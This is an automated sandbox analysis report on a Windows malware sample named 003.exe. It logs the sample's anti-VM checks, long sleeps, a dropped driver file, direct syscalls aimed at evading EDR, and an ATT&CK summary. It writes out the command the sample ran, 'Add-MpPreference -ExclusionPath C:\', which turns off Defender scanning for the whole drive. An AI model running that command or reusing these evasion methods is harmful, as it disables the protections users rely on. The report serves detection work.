Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\003.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\Desktop\003.exe	System information queried: FirmwareTableInformation			Jump to behavior

Tries to evade analysis by execution special instruction (VM detection)

Source: C:\Users\user\Desktop\003.exe

Special instruction interceptor: First address: 1404245E4 instructions rdtsc caused by: RDTSC with Trap Flag (TF)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6486	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3390	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8064	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1591	Jump to behavior

Source: C:\Users\user\Desktop\003.exe

Dropped PE file which has not been started: C:\Windows\Temp\y5VWvTdZ_8184.sys

Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 420	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8168	Thread sleep count: 8064 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6468	Thread sleep count: 1591 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6212	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007D35CC FindFirstFileA,FindNextFileA,FindClose,		0_2_007D35CC
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007F1C54 __doserrno,_errno,_errno,__doserrno,FindFirstFileA,_errno,_errno,_errno,_errno,_errno,GetDriveTypeA,free,free,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,FindClose,		0_2_007F1C54

Source: C:\Users\user\Desktop\003.exe

Code function: 0_2_00785BCC GetCurrentProcess,GetProcessAffinityMask,GetSystemInfo,

0_2_00785BCC

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: 003.exe, 00000000.00000002.1387996986.00000000004BC000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\003.exe

Code function: 0_2_007EC540 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_007EC540

Source: C:\Users\user\Desktop\003.exe

Code function: 0_2_0079C634 GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryExA,GetSystemDirectoryA,GetSystemDirectoryA,LoadLibraryA,

0_2_0079C634

Source: C:\Users\user\Desktop\003.exe

Code function: 0_2_007F9204 GetProcessHeap,HeapAlloc,_errno,_errno,__doserrno,_errno,GetProcessHeap,HeapFree,SetEndOfFile,_errno,__doserrno,GetLastError,

0_2_007F9204

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007EC280 RtlCaptureContext,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_007EC280
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007EC540 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_007EC540
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007E9924 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_007E9924
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007E9B18 SetUnhandledExceptionFilter,	0_2_007E9B18

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\003.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath C:\
Source: C:\Users\user\Desktop\003.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath C:\			Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Desktop\003.exe	NtProtectVirtualMemory: Direct from: 0x140320A27	Jump to behavior
Source: C:\Users\user\Desktop\003.exe	NtProtectVirtualMemory: Direct from: 0x14040600F	Jump to behavior
Source: C:\Users\user\Desktop\003.exe	NtProtectVirtualMemory: Direct from: 0x1402656F5	Jump to behavior
Source: C:\Users\user\Desktop\003.exe	NtProtectVirtualMemory: Direct from: 0x1400026B1	Jump to behavior
Source: C:\Users\user\Desktop\003.exe	NtProtectVirtualMemory: Direct from: 0x140269B07	Jump to behavior
Source: C:\Users\user\Desktop\003.exe	NtProtectVirtualMemory: Direct from: 0x14041440F	Jump to behavior
Source: C:\Users\user\Desktop\003.exe	NtQuerySystemInformation: Direct from: 0x14030938B	Jump to behavior
Source: C:\Users\user\Desktop\003.exe	NtQuerySystemInformation: Direct from: 0x140321540	Jump to behavior
Source: C:\Users\user\Desktop\003.exe	NtProtectVirtualMemory: Direct from: 0x140319EE2	Jump to behavior
Source: C:\Users\user\Desktop\003.exe	NtQuerySystemInformation: Direct from: 0x140304F82	Jump to behavior
Source: C:\Users\user\Desktop\003.exe	NtQuerySystemInformation: Direct from: 0x140264DA2	Jump to behavior
Source: C:\Users\user\Desktop\003.exe	NtQuerySystemInformation: Direct from: 0x140269B34	Jump to behavior

Source: C:\Users\user\Desktop\003.exe

Code function: GetLocaleInfoA,

0_2_007EE5E8

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\003.exe

Code function: 0_2_007E8310 GetSystemTimeAsFileTime,

0_2_007E8310

Source: C:\Users\user\Desktop\003.exe

Code function: 0_2_007ED80C _lock,___lc_codepage_func,free,free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_007ED80C

Source: C:\Users\user\Desktop\003.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007A92C4 socket,htonl,setsockopt,bind,getsockname,listen,socket,connect,accept,__swprintf_l,send,recv,closesocket,closesocket,closesocket,closesocket,		0_2_007A92C4
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_00798C10 htons,bind,htons,htons,htons,htons,bind,getsockname,WSAGetLastError,WSAGetLastError,		0_2_00798C10

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	2 Windows Service	1 Access Token Manipulation	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
